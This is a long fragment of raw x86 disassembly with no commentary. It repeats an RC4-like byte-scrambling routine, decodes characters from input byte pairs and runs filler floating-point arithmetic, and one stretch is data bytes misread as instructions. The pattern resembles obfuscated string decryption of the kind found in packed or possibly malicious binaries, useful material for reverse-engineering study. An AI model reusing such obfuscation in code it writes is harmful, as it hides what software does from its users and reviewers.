mov byte [ebp - 0x32d7], al
movzx ecx, byte [ebp - 0x32ac]
mov dl, byte [ebp + ecx - 0x57c4]
mov byte [ebp - 0x32ea], dl
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx edx, byte [ebp - 0x3287]
add edx, ecx
mov byte [ebp - 0x3287], dl
mov al, byte [ebp - 0x3279]
add al, 1
mov byte [ebp - 0x3279], al
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp - 0x32ac]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3288]
movzx edx, byte [ebp - 0x3287]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3279]
movzx edx, byte [ebp - 0x3288]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3279]
mov dl, byte [ebp - 0x32ea]
mov byte [ebp + ecx - 0x57c4], dl
movzx eax, byte [ebp - 0x32ea]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx edx, byte [ebp - 0x32d6]
add edx, ecx
mov byte [ebp - 0x32d6], dl
movzx eax, byte [ebp - 0x32d7]
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx ecx, byte [ebp - 0x3279]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57c4]
xor eax, edx
movzx ecx, byte [ebp - 0x3288]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx ecx, byte [ebp - 0x32ac]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32d6]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57c4]
movzx ecx, byte [ebp + edx - 0x57c4]
xor eax, ecx
mov byte [ebp - 0x3288], al
mov dl, byte [ebp - 0x32d7]
mov byte [ebp - 0x32ac], dl
mov al, byte [ebp - 0x3288]
mov byte [ebp - 0x3325], al
cmp dword [ebp - 0x3394], 0
jle 0x43bb11
movsx cx, byte [ebp - 0x3325]
mov edx, dword [ebp - 0x3394]
mov word [ebp + edx*2 - 0x306], cx
jmp 0x43b8a5
mov eax, dword [ebp - 0x3608]
add eax, 1
mov dword [ebp - 0x3608], eax
mov ecx, dword [ebp - 0x3394]
add ecx, 1
mov dword [ebp - 0x3394], ecx
mov edx, dword [ebp - 0x3608]
add edx, 1
mov dword [ebp - 0x3608], edx
mov eax, dword [ebp - 0x3394]
shl eax, 1
mov dword [ebp - 0x3a30], eax
mov ecx, dword [ebp - 0x3a2c]
add ecx, dword [ebp - 0x3a30]
movzx edx, byte [ecx]
mov dword [ebp - 0x3898], edx
mov dword [ebp - 0x389c], 0x3a
mov eax, dword [ebp - 0x3394]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3a28], ecx
mov edx, dword [ebp - 0x3a2c]
add edx, dword [ebp - 0x3a28]
movzx eax, byte [edx]
mov dword [ebp - 0x38a0], eax
mov dword [ebp - 0x38a4], 0x8e
mov ecx, dword [ebp - 0x3898]
sub ecx, dword [ebp - 0x389c]
mov dword [ebp - 0x38a8], ecx
mov edx, dword [ebp - 0x38a0]
sub edx, dword [ebp - 0x38a4]
mov dword [ebp - 0x38ac], edx
mov eax, dword [ebp - 0x38a8]
shl eax, 4
mov dword [ebp - 0x39dc], eax
mov ecx, dword [ebp - 0x38ac]
mov dword [ebp - 0x3aac], ecx
mov edx, dword [ebp - 0x39dc]
or edx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], edx
mov al, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32d7], al
movzx ecx, byte [ebp - 0x32ac]
mov dl, byte [ebp + ecx - 0x57c4]
mov byte [ebp - 0x32ea], dl
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx edx, byte [ebp - 0x3287]
add edx, ecx
mov byte [ebp - 0x3287], dl
mov al, byte [ebp - 0x3279]
add al, 1
mov byte [ebp - 0x3279], al
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp - 0x32ac]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3288]
movzx edx, byte [ebp - 0x3287]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3279]
movzx edx, byte [ebp - 0x3288]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3279]
mov dl, byte [ebp - 0x32ea]
mov byte [ebp + ecx - 0x57c4], dl
movzx eax, byte [ebp - 0x32ea]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx edx, byte [ebp - 0x32d6]
add edx, ecx
mov byte [ebp - 0x32d6], dl
movzx eax, byte [ebp - 0x32d7]
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx ecx, byte [ebp - 0x3279]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57c4]
xor eax, edx
movzx ecx, byte [ebp - 0x3288]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx ecx, byte [ebp - 0x32ac]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32d6]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57c4]
movzx ecx, byte [ebp + edx - 0x57c4]
xor eax, ecx
mov byte [ebp - 0x3288], al
mov dl, byte [ebp - 0x32d7]
mov byte [ebp - 0x32ac], dl
mov al, byte [ebp - 0x3288]
mov byte [ebp - 0x3325], al
cmp dword [ebp - 0x3394], 0
jle 0x43bd7f
movsx cx, byte [ebp - 0x3325]
mov edx, dword [ebp - 0x3394]
mov word [ebp + edx*2 - 0x306], cx
mov eax, dword [ebp - 0x3394]
add eax, 1
mov dword [ebp - 0x3394], eax
mov ecx, dword [ebp - 0x3608]
add ecx, 1
mov dword [ebp - 0x3608], ecx
mov edx, dword [ebp - 0x3394]
shl edx, 1
mov dword [ebp - 0x3a30], edx
mov eax, dword [ebp - 0x3a2c]
add eax, dword [ebp - 0x3a30]
movzx ecx, byte [eax]
mov dword [ebp - 0x3898], ecx
mov dword [ebp - 0x389c], 0x3a
mov edx, dword [ebp - 0x3394]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3a28], eax
mov ecx, dword [ebp - 0x3a2c]
add ecx, dword [ebp - 0x3a28]
movzx edx, byte [ecx]
mov dword [ebp - 0x38a0], edx
mov dword [ebp - 0x38a4], 0x8e
mov eax, dword [ebp - 0x3898]
sub eax, dword [ebp - 0x389c]
mov dword [ebp - 0x38a8], eax
mov ecx, dword [ebp - 0x38a0]
sub ecx, dword [ebp - 0x38a4]
mov dword [ebp - 0x38ac], ecx
mov edx, dword [ebp - 0x38a8]
shl edx, 4
mov dword [ebp - 0x39dc], edx
mov eax, dword [ebp - 0x38ac]
mov dword [ebp - 0x3aac], eax
mov ecx, dword [ebp - 0x39dc]
or ecx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], ecx
mov dl, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32d7], dl
movzx eax, byte [ebp - 0x32ac]
mov cl, byte [ebp + eax - 0x57c4]
mov byte [ebp - 0x32ea], cl
movzx edx, byte [ebp - 0x3279]
movzx eax, byte [ebp + edx - 0x57c4]
movzx ecx, byte [ebp - 0x3287]
add ecx, eax
mov byte [ebp - 0x3287], cl
mov dl, byte [ebp - 0x3279]
add dl, 1
mov byte [ebp - 0x3279], dl
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp - 0x32ac]
mov dl, byte [ebp + eax - 0x57c4]
mov byte [ebp + ecx - 0x57c4], dl
movzx eax, byte [ebp - 0x3288]
movzx ecx, byte [ebp - 0x3287]
mov dl, byte [ebp + eax - 0x57c4]
mov byte [ebp + ecx - 0x57c4], dl
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp - 0x3288]
mov dl, byte [ebp + eax - 0x57c4]
mov byte [ebp + ecx - 0x57c4], dl
movzx eax, byte [ebp - 0x3279]
mov cl, byte [ebp - 0x32ea]
mov byte [ebp + eax - 0x57c4], cl
movzx edx, byte [ebp - 0x32ea]
movzx eax, byte [ebp + edx - 0x57c4]
movzx ecx, byte [ebp - 0x32d6]
add ecx, eax
mov byte [ebp - 0x32d6], cl
movzx edx, byte [ebp - 0x32d7]
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx eax, byte [ebp - 0x3279]
movzx eax, byte [ebp + eax - 0x57c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57c4]
xor edx, ecx
movzx eax, byte [ebp - 0x3288]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx eax, byte [ebp - 0x32ac]
movzx eax, byte [ebp + eax - 0x57c4]
add ecx, eax
movzx eax, byte [ebp - 0x32d6]
movzx eax, byte [ebp + eax - 0x57c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57c4]
movzx eax, byte [ebp + ecx - 0x57c4]
xor edx, eax
mov byte [ebp - 0x3288], dl
mov cl, byte [ebp - 0x32d7]
mov byte [ebp - 0x32ac], cl
mov dl, byte [ebp - 0x3288]
mov byte [ebp - 0x3325], dl
cmp dword [ebp - 0x3394], 0
jle 0x43bfda
movsx ax, byte [ebp - 0x3325]
mov ecx, dword [ebp - 0x3394]
mov word [ebp + ecx*2 - 0x306], ax
mov edx, dword [ebp - 0x3394]
add edx, 1
mov dword [ebp - 0x3394], edx
mov eax, dword [ebp - 0x3608]
add eax, 1
mov dword [ebp - 0x3608], eax
mov ecx, dword [ebp - 0x3394]
shl ecx, 1
mov dword [ebp - 0x3a30], ecx
mov edx, dword [ebp - 0x3a2c]
add edx, dword [ebp - 0x3a30]
movzx eax, byte [edx]
mov dword [ebp - 0x3898], eax
mov dword [ebp - 0x389c], 0x3a
mov ecx, dword [ebp - 0x3394]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3a28], edx
mov eax, dword [ebp - 0x3a2c]
add eax, dword [ebp - 0x3a28]
movzx ecx, byte [eax]
mov dword [ebp - 0x38a0], ecx
mov dword [ebp - 0x38a4], 0x8e
mov edx, dword [ebp - 0x3898]
sub edx, dword [ebp - 0x389c]
mov dword [ebp - 0x38a8], edx
mov eax, dword [ebp - 0x38a0]
sub eax, dword [ebp - 0x38a4]
mov dword [ebp - 0x38ac], eax
mov ecx, dword [ebp - 0x38a8]
shl ecx, 4
mov dword [ebp - 0x39dc], ecx
mov edx, dword [ebp - 0x38ac]
mov dword [ebp - 0x3aac], edx
mov eax, dword [ebp - 0x39dc]
or eax, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], eax
mov cl, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32d7], cl
movzx edx, byte [ebp - 0x32ac]
mov al, byte [ebp + edx - 0x57c4]
mov byte [ebp - 0x32ea], al
movzx ecx, byte [ebp - 0x3279]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx eax, byte [ebp - 0x3287]
add eax, edx
mov byte [ebp - 0x3287], al
mov cl, byte [ebp - 0x3279]
add cl, 1
mov byte [ebp - 0x3279], cl
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp - 0x32ac]
mov cl, byte [ebp + edx - 0x57c4]
mov byte [ebp + eax - 0x57c4], cl
movzx edx, byte [ebp - 0x3288]
movzx eax, byte [ebp - 0x3287]
mov cl, byte [ebp + edx - 0x57c4]
mov byte [ebp + eax - 0x57c4], cl
movzx edx, byte [ebp - 0x3279]
movzx eax, byte [ebp - 0x3288]
mov cl, byte [ebp + edx - 0x57c4]
mov byte [ebp + eax - 0x57c4], cl
movzx edx, byte [ebp - 0x3279]
mov al, byte [ebp - 0x32ea]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x32ea]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx eax, byte [ebp - 0x32d6]
add eax, edx
mov byte [ebp - 0x32d6], al
movzx ecx, byte [ebp - 0x32d7]
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp + edx - 0x57c4]
movzx edx, byte [ebp - 0x3279]
movzx edx, byte [ebp + edx - 0x57c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x57c4]
xor ecx, eax
movzx edx, byte [ebp - 0x3288]
movzx eax, byte [ebp + edx - 0x57c4]
movzx edx, byte [ebp - 0x32ac]
movzx edx, byte [ebp + edx - 0x57c4]
add eax, edx
movzx edx, byte [ebp - 0x32d6]
movzx edx, byte [ebp + edx - 0x57c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x57c4]
movzx edx, byte [ebp + eax - 0x57c4]
xor ecx, edx
mov byte [ebp - 0x3288], cl
mov al, byte [ebp - 0x32d7]
mov byte [ebp - 0x32ac], al
mov cl, byte [ebp - 0x3288]
mov byte [ebp - 0x3325], cl
cmp dword [ebp - 0x3394], 0
jle 0x43c233
movsx dx, byte [ebp - 0x3325]
mov eax, dword [ebp - 0x3394]
mov word [ebp + eax*2 - 0x306], dx
mov ecx, dword [ebp - 0x3394]
add ecx, 1
mov dword [ebp - 0x3394], ecx
mov edx, dword [ebp - 0x3608]
add edx, 1
mov dword [ebp - 0x3608], edx
mov eax, dword [ebp - 0x3394]
shl eax, 1
mov dword [ebp - 0x3a30], eax
mov ecx, dword [ebp - 0x3a2c]
add ecx, dword [ebp - 0x3a30]
movzx edx, byte [ecx]
mov dword [ebp - 0x3898], edx
mov dword [ebp - 0x389c], 0x3a
mov eax, dword [ebp - 0x3394]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3a28], ecx
mov edx, dword [ebp - 0x3a2c]
add edx, dword [ebp - 0x3a28]
movzx eax, byte [edx]
mov dword [ebp - 0x38a0], eax
mov dword [ebp - 0x38a4], 0x8e
mov ecx, dword [ebp - 0x3898]
sub ecx, dword [ebp - 0x389c]
mov dword [ebp - 0x38a8], ecx
mov edx, dword [ebp - 0x38a0]
sub edx, dword [ebp - 0x38a4]
mov dword [ebp - 0x38ac], edx
mov eax, dword [ebp - 0x38a8]
shl eax, 4
mov dword [ebp - 0x39dc], eax
mov ecx, dword [ebp - 0x38ac]
mov dword [ebp - 0x3aac], ecx
mov edx, dword [ebp - 0x39dc]
or edx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], edx
mov al, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32d7], al
movzx ecx, byte [ebp - 0x32ac]
mov dl, byte [ebp + ecx - 0x57c4]
mov byte [ebp - 0x32ea], dl
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx edx, byte [ebp - 0x3287]
add edx, ecx
mov byte [ebp - 0x3287], dl
mov al, byte [ebp - 0x3279]
add al, 1
mov byte [ebp - 0x3279], al
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp - 0x32ac]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3288]
movzx edx, byte [ebp - 0x3287]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3279]
movzx edx, byte [ebp - 0x3288]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3279]
mov dl, byte [ebp - 0x32ea]
mov byte [ebp + ecx - 0x57c4], dl
movzx eax, byte [ebp - 0x32ea]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx edx, byte [ebp - 0x32d6]
add edx, ecx
mov byte [ebp - 0x32d6], dl
movzx eax, byte [ebp - 0x32d7]
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx ecx, byte [ebp - 0x3279]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57c4]
xor eax, edx
movzx ecx, byte [ebp - 0x3288]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx ecx, byte [ebp - 0x32ac]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32d6]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57c4]
movzx ecx, byte [ebp + edx - 0x57c4]
xor eax, ecx
mov byte [ebp - 0x3288], al
mov dl, byte [ebp - 0x32d7]
mov byte [ebp - 0x32ac], dl
mov al, byte [ebp - 0x3288]
mov byte [ebp - 0x3325], al
cmp dword [ebp - 0x3394], 0
jle 0x43c48d
movsx cx, byte [ebp - 0x3325]
mov edx, dword [ebp - 0x3394]
mov word [ebp + edx*2 - 0x306], cx
mov eax, 2
imul ecx, eax, 0x24
mov dword [ebp - 0x50f0], ecx
cmp dword [ebp - 0x50f0], 0x4a
jae 0x43c4a6
jmp 0x43c4ab
call fcn.009f5b17
xor edx, edx
mov eax, dword [ebp - 0x50f0]
mov word [ebp + eax - 0x304], dx
jmp 0x43c511
mov dword [ebp - 0x4964], 0
jmp 0x43c4d8
mov ecx, dword [ebp - 0x4964]
add ecx, 1
mov dword [ebp - 0x4964], ecx
cmp dword [ebp - 0x4964], 0x25
jge 0x43c511
mov edx, dword [ebp - 0x4964]
shl edx, 1
mov dword [ebp - 0x50ec], edx
cmp dword [ebp - 0x50ec], 0x4a
jae 0x43c4fa
jmp 0x43c4ff
call fcn.009f5b17
xor eax, eax
mov ecx, dword [ebp - 0x50ec]
mov word [ebp + ecx - 0x304], ax
jmp 0x43c4c9
push 0
push 1
mov edx, dword [ebp - 0x4590]
push edx
lea eax, [ebp - 0x200]
push eax
push 0
lea ecx, [ebp - 0x304]
push ecx
movzx edx, byte [ebp + 0xc]
push edx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x3190], 0
mov dword [ebp - 0x319c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4754], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45fc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45fc], xmm0
jmp 0x43c588
movsd xmm0, qword [ebp - 0x45fc]
addsd xmm0, qword [0xa71348]
movsd qword [ebp - 0x45fc], xmm0
movsd xmm0, qword [0xa71868]
comisd xmm0, xmmword [ebp - 0x45fc]
jbe 0x43c639
movsd xmm0, qword [0xa71688]
mulsd xmm0, qword [ebp - 0x45fc]
mulsd xmm0, qword [ebp - 0x45fc]
movsd xmm1, qword [ebp - 0x45fc]
mulsd xmm1, qword [ebp - 0x45fc]
subsd xmm0, xmm1
movsd xmm1, qword [0xa713f0]
mulsd xmm1, qword [ebp - 0x45fc]
mulsd xmm1, qword [ebp - 0x45fc]
addsd xmm1, qword [0xa714d0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4754]
movsd qword [ebp - 0x4754], xmm0
movsd xmm0, qword [ebp - 0x4754]
comisd xmm0, xmmword [0xa715c0]
jbe 0x43c634
movsd xmm0, qword [0xa712c8]
mulsd xmm0, qword [ebp - 0x45fc]
movsd xmm1, qword [ebp - 0x4754]
subsd xmm1, xmm0
movsd qword [ebp - 0x4754], xmm1
jmp 0x43c570
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4754]
jbe 0x43c672
insb byte es:[edi], dx
daa
push 0x68
pushal
js 0x43c67c
sub byte [edi + edi + 0x46], dl
jae 0x43c6ad
dec edi
push edx
xor al, 0x3c
dec eax
aas
push esi
push ss
adc bl, byte [esi]
adc eax, 0xc181915
push ss
pop ss
sbb eax, 0x1d192113
or edx, dword [esi]
sbb ch, cl
cmp byte [esi], dl
add byte [eax], al
mov dword [ebp - 0x3190], 0x43c65b
mov dword [ebp - 0x319c], 0x43c646
mov eax, dword [ebp - 0x3190]
mov dword [ebp - 0x44c4], eax
mov ecx, dword [ebp - 0x319c]
mov dword [ebp - 0x6374], ecx
mov byte [ebp - 0x3feb], 0x19
mov dword [ebp - 0x3848], 0
add byte [eax], al
jmp 0x43c6c0
mov edx, dword [ebp - 0x3848]
add edx, 1
mov dword [ebp - 0x3848], edx
cmp dword [ebp - 0x3848], 0x100
jae 0x43c6e1
mov eax, dword [ebp - 0x3848]
mov cl, byte [ebp - 0x3848]
mov byte [ebp + eax - 0x6ae8], cl
jmp 0x43c6b1
mov dword [ebp - 0x44d0], 0
mov byte [ebp - 0x3341], 0
mov dword [ebp - 0x3848], 0xff
jmp 0x43c70d
mov edx, dword [ebp - 0x3848]
sub edx, 1
mov dword [ebp - 0x3848], edx
cmp dword [ebp - 0x3848], 0
jbe 0x43c97d
mov dword [ebp - 0x4b84], 0
mov dword [ebp - 0x4968], 1
mov eax, dword [ebp - 0x4968]
cmp eax, dword [ebp - 0x3848]
jae 0x43c74e
mov ecx, dword [ebp - 0x4968]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4968], edx
jmp 0x43c72e
mov eax, dword [ebp - 0x44d0]
mov dword [ebp - 0x50e8], eax
cmp dword [ebp - 0x50e8], 3
ja case.default.0x43c76d
mov ecx, dword [ebp - 0x50e8]
jmp dword [ecx*4 + 0x46b008]
movzx edx, byte [ebp - 0x3341]
movzx ebx, byte [ebp + edx - 0x6ae8]
movsd xmm0, qword [ebp - 0x4754]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3341], bl
jmp 0x43c856
movzx eax, byte [ebp - 0x3341]
movzx ebx, byte [ebp + eax - 0x6ae8]
movsd xmm0, qword [ebp - 0x4754]
call fcn.009f5ff0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3341], bl
jmp 0x43c856
movzx ecx, byte [ebp - 0x3341]
movzx ebx, byte [ebp + ecx - 0x6ae8]
movsd xmm0, qword [ebp - 0x4754]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3341], bl
jmp 0x43c856
movzx edx, byte [ebp - 0x3341]
movzx ebx, byte [ebp + edx - 0x6ae8]
movsd xmm0, qword [ebp - 0x4754]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3341], bl
jmp 0x43c856
movzx eax, byte [ebp - 0x3341]
movzx ecx, byte [ebp + eax - 0x6ae8]
mov edx, dword [ebp - 0x6374]
add edx, dword [ebp - 0x44d0]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x3341], cl
mov ecx, dword [ebp - 0x44d0]
add ecx, 1
mov dword [ebp - 0x44d0], ecx
movzx edx, byte [ebp - 0x3feb]
cmp dword [ebp - 0x44d0], edx
jb 0x43c894
mov dword [ebp - 0x44d0], 0
movzx eax, byte [ebp - 0x3feb]
movzx ecx, byte [ebp - 0x3341]
add ecx, eax
mov byte [ebp - 0x3341], cl
movzx edx, byte [ebp - 0x3341]
and edx, dword [ebp - 0x4968]
mov dword [ebp - 0x4320], edx
mov eax, dword [ebp - 0x4b84]
add eax, 1
mov dword [ebp - 0x4b84], eax
cmp dword [ebp - 0x4b84], 0xb
jbe 0x43c8d3
mov eax, dword [ebp - 0x4320]
xor edx, edx
div dword [ebp - 0x3848]
mov dword [ebp - 0x4320], edx
mov ecx, dword [ebp - 0x4320]
cmp ecx, dword [ebp - 0x3848]
ja 0x43c74e
mov edx, dword [ebp - 0x3848]
cmp edx, dword [ebp - 0x4320]
je 0x43c978
mov eax, dword [ebp - 0x4320]
movzx ecx, byte [ebp + eax - 0x6ae8]
mov edx, dword [ebp - 0x3848]
movzx eax, byte [ebp + edx - 0x6ae8]
xor eax, ecx
mov ecx, dword [ebp - 0x3848]
mov byte [ebp + ecx - 0x6ae8], al
mov edx, dword [ebp - 0x3848]
movzx eax, byte [ebp + edx - 0x6ae8]
mov ecx, dword [ebp - 0x4320]
movzx edx, byte [ebp + ecx - 0x6ae8]
xor edx, eax
mov eax, dword [ebp - 0x4320]
mov byte [ebp + eax - 0x6ae8], dl
mov ecx, dword [ebp - 0x4320]
movzx edx, byte [ebp + ecx - 0x6ae8]
mov eax, dword [ebp - 0x3848]
movzx ecx, byte [ebp + eax - 0x6ae8]
xor ecx, edx
mov edx, dword [ebp - 0x3848]
mov byte [ebp + edx - 0x6ae8], cl
jmp 0x43c6fe
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x6ae8]
mov byte [ebp - 0x3311], cl
movss xmm0, dword [0xa72410]
movss dword [ebp - 0x40b0], xmm0
movss xmm0, dword [0xa72368]
movss dword [ebp - 0x3db0], xmm0
movss xmm0, dword [0xa7215c]
movss dword [ebp - 0x44cc], xmm0
movss xmm0, dword [ebp - 0x3db0]
mulss xmm0, dword [ebp - 0x44cc]
movss dword [ebp - 0x3db0], xmm0
movss xmm0, dword [ebp - 0x3db0]
mulss xmm0, dword [ebp - 0x44cc]
movss dword [ebp - 0x3db0], xmm0
movss xmm0, dword [ebp - 0x40b0]
addss xmm0, dword [ebp - 0x44cc]
movss dword [ebp - 0x40b0], xmm0
movss xmm0, dword [ebp - 0x3db0]
comiss xmm0, dword [ebp - 0x44cc]
jbe 0x43ca7a
movss xmm0, dword [ebp - 0x40b0]
addss xmm0, dword [ebp - 0x3db0]
movss dword [ebp - 0x40b0], xmm0
movss xmm0, dword [ebp - 0x3db0]
subss xmm0, dword [ebp - 0x44cc]
movss dword [ebp - 0x3db0], xmm0
movss xmm0, dword [ebp - 0x3db0]
mulss xmm0, dword [ebp - 0x44cc]
movss dword [ebp - 0x3db0], xmm0
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x6ae8]
mov byte [ebp - 0x3324], cl
jmp 0x43cac2
movss xmm0, dword [ebp - 0x40b0]
divss xmm0, dword [ebp - 0x3db0]
movss dword [ebp - 0x40b0], xmm0
movss xmm0, dword [ebp - 0x40b0]
subss xmm0, dword [ebp - 0x3db0]
movss dword [ebp - 0x40b0], xmm0
movss xmm0, dword [ebp - 0x40b0]
subss xmm0, dword [ebp - 0x3db0]
movss dword [ebp - 0x40b0], xmm0
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x6ae8]
mov byte [ebp - 0x33c2], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x6ae8]
mov byte [ebp - 0x3323], cl
movzx edx, byte [ebp - 0x3341]
mov al, byte [ebp + edx - 0x6ae8]
mov byte [ebp - 0x3372], al
mov dword [ebp - 0x50e4], 0x12
cmp dword [ebp - 0x50e4], 2
jle 0x43dc56
mov ecx, dword [ebp - 0x50e4]
and ecx, 1
jne 0x43dc56
mov dword [ebp - 0x3830], 0
mov dword [ebp - 0x3e48], 0
mov edx, dword [ebp - 0x3e48]
add edx, 1
mov dword [ebp - 0x3e48], edx
mov dword [ebp - 0x44c8], 0
mov eax, dword [ebp - 0x3830]
shl eax, 1
mov dword [ebp - 0x44c8], eax
mov dword [ebp - 0x43ec], 0
mov ecx, dword [ebp - 0x44c4]
add ecx, dword [ebp - 0x44c8]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x43ec]
mov dword [ebp - 0x43ec], edx
mov dword [ebp - 0x4368], 0
mov eax, dword [ebp - 0x4368]
add eax, 0x12
mov dword [ebp - 0x4368], eax
mov dword [ebp - 0x44c0], 0
movsd xmm0, qword [0xa71e38]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [0xa71cd0]
movsd qword [ebp - 0x3df8], xmm0
movsd xmm0, qword [0xa71b60]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [0xa719e0]
movsd qword [ebp - 0x3ed0], xmm0
movsd xmm0, qword [0xa71770]
movsd qword [ebp - 0x3b44], xmm0
movsd xmm0, qword [ebp - 0x3df8]
mulsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3df8], xmm0
movsd xmm0, qword [ebp - 0x3ac4]
mulsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [ebp - 0x3df8]
addsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3df8], xmm0
movsd xmm0, qword [ebp - 0x3df8]
subsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3df8], xmm0
movsd xmm0, qword [ebp - 0x3e20]
mulsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3e20]
comisd xmm0, xmmword [ebp - 0x3b44]
jbe 0x43cd14
movsd xmm0, qword [ebp - 0x3ac4]
subsd xmm0, qword [ebp - 0x3ed0]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [ebp - 0x3df8]
addsd xmm0, qword [ebp - 0x3ac4]
movsd qword [ebp - 0x3df8], xmm0
movsd xmm0, qword [ebp - 0x3ac4]
addsd xmm0, qword [ebp - 0x3ed0]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [ebp - 0x3df8]
subsd xmm0, qword [ebp - 0x3ac4]
movsd qword [ebp - 0x3df8], xmm0
movsd xmm0, qword [ebp - 0x3b44]
subsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3b44], xmm0
mov ecx, dword [ebp - 0x3830]
lea edx, [ecx + ecx + 1]
